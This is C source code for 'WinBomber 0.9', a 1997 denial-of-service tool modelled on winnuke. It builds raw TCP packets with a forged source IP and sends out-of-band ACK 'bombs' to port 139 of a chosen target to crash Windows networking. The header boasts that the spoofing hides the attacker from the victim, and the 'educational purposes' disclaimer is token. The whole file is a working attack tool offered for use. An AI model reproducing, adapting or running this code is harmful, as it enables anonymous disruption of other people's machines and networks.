/* ************************************************************	*/
/* WinBomber 0.9 by HeTak	05.10.97		 	*/
/*								*/
/* This simply demonstrates shitty Win networking by 		*/
/* sending Out of Bound Message flag in Ba ACK packet. 		*/
/* The difference between winnuke.c is that WinBomber 		*/
/* spoofs source ip (you) for extra security so the person	*/
/* who will get nuked will not know who sent the nuke.		*/
/* FOR EDUCATIONAL PURPOSES ONLY. 				*/
/* Sometimes I'm on irc, find me there for any questions. 	*/
/*								*/
/* ************************************************************ */




#include <unistd.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

#define PACKET_SIZE	sizeof(struct tcppkt)
#define DEF_BADDR	"132.45.6.8"

struct tcppkt {
	struct iphdr	ip;
	struct tcphdr	tcp;
};



unsigned short in_chksum(addr, len)
	u_short *addr;
	int len;
{
	register int nleft = len;
	register u_short *w = addr;
	register int sum =0;
	u_short answer =0;
	
	while(nleft > 1) 	{
		sum+= *w++;
		nleft -= 2;
		}
		
	if (nleft == 1) {
	 *(u_char *) (&answer) = *(u_char *) w;
	 sum+=answer;
	 }
	 
	 sum = (sum >> 16) + ( sum & 0xffff);
	 sum += (sum >> 16);
	 answer = ~sum;
	 return (answer);
}



/* ********************************************************************** */

int bombaway(sin, fakesock, saddr)
	struct sockaddr_in *sin;
	u_long saddr;
	int fakesock;
{
	register struct iphdr *ip;
	register struct tcphdr *tcp;
	register char *php;
	static char packet[PACKET_SIZE];
	static char phead[PACKET_SIZE+12];
	u_short len =0;
	u_short sport = 5150;
	
	ip = (struct iphdr *) packet;
	
	ip->ihl		= 5;
	ip->version	= 4;
	ip->tos		= 0;
	ip->tot_len	= htons(PACKET_SIZE);
	ip->id		= htons(918 + (rand()%32768));
	ip->frag_off	= 0;
	ip->ttl		= 255;
	ip->protocol	= IPPROTO_TCP;
	ip->check	= 0;
	ip->saddr	= saddr;
	ip->daddr	= sin->sin_addr.s_addr; 

	tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));
	tcp->th_sport	= htons(sport++);
	tcp->th_dport	= htons(sin->sin_port);
	tcp->th_seq	= htonl(31337);
	tcp->th_ack	= 0;	
	tcp->th_x2	= 0;
	tcp->th_off	= 5;
	tcp->th_flags	= TH_ACK;	/* Maybe could use some other flag */
	tcp->th_win	= htons(10052); 
	tcp->th_sum	= 0;		
	tcp->th_urp	= 0;		
	php = phead;
	memset(php, 0, PACKET_SIZE + 12);
	memcpy(php, &(ip->saddr), 8);
	php += 9;
	memcpy(php, &(ip->protocol), 1);
	len = htons(sizeof(struct tcphdr));
	memcpy(++php, &(len), 2);
	php += 2;
	memcpy(php, tcp, sizeof(struct tcphdr));
	
	tcp->th_sum = in_chksum(php, sizeof(struct tcphdr)+12);
	
	
	return (sendto(fakesock, packet, PACKET_SIZE, MSG_OOB, (struct sockaddr *) sin,
			sizeof(struct sockaddr_in)));
}

/* *********************************************************************** */




u_long
resolve(host)
char *host;
{
	struct hostent *he;
	u_long addr;
	if ((he = gethostbyname(host)) == NULL) {
		addr = inet_addr(host);
		}
	else {
		bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
		}
	return (addr);
}


main(argc, argv)

int argc;
char **argv;
{

	int mainsock, fakesock, bombs;
	u_short dport;
	u_long saddr, daddr;
	struct sockaddr_in sin;
	struct hostent *host;
	bombs = saddr = 0;


/* **************************************************************************************** */


if (argc<3)
	{
	printf("Usage: %s <source> <destination> \n", argv[0]);
	exit();
	}



	if ((daddr = resolve(argv[2])) == -1) {		/* Resolve destination */
		printf("Unable to resolve destination hostname -> %s\n", argv[2]);
		exit(1);
		}

	if ((saddr = resolve(argv[1])) == -1) {
		printf("Bad spoofed source -> %s\nOhh well...using default.\n\n", argv[1]);
		saddr=inet_addr(DEF_BADDR);
		}
	

	dport = 139;

/* **************************************************************************************** */	


	bzero(&sin, sizeof(struct sockaddr_in));
	sin.sin_family=AF_INET;
	sin.sin_addr.s_addr=daddr;
	sin.sin_port=htons(139);	


/*      ***************************************************************** */

	if ((mainsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
		perror("Unable to open main socket.");
		exit(1);
	}

	if ((fakesock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		perror("Unable to open raw socket.");
		exit(1);
	}
	
	
	if (connect(mainsock, (struct sockaddr *)&sin, 16)== -1) {
	   perror("Unable to open connection:");
	   close(mainsock);
	   }
	   
/*      ***************************************************************** */	   

	printf("WiNBomber 0.9 by HeTak.\n");
	printf("Connection established.\n");
	printf("Sending <%d> bombs to port <%d> to <%s>...\n", 
			bombs, ntohs(sin.sin_port), argv[2] );
	printf("Ready to bomb. Sleeping for a while.\n");
	sleep(3);
	while(bombs!=10) {
		printf("<%s> >=----=|B+O+M+B|=-----> <%s:139>\t# <%d>\n",
			argv[1], argv[2], bombs);
		bombaway(&sin, fakesock, saddr);
		usleep(100000);
		bombs++;
	}
	printf("Bombs dropped.\n");
	exit(0);
}




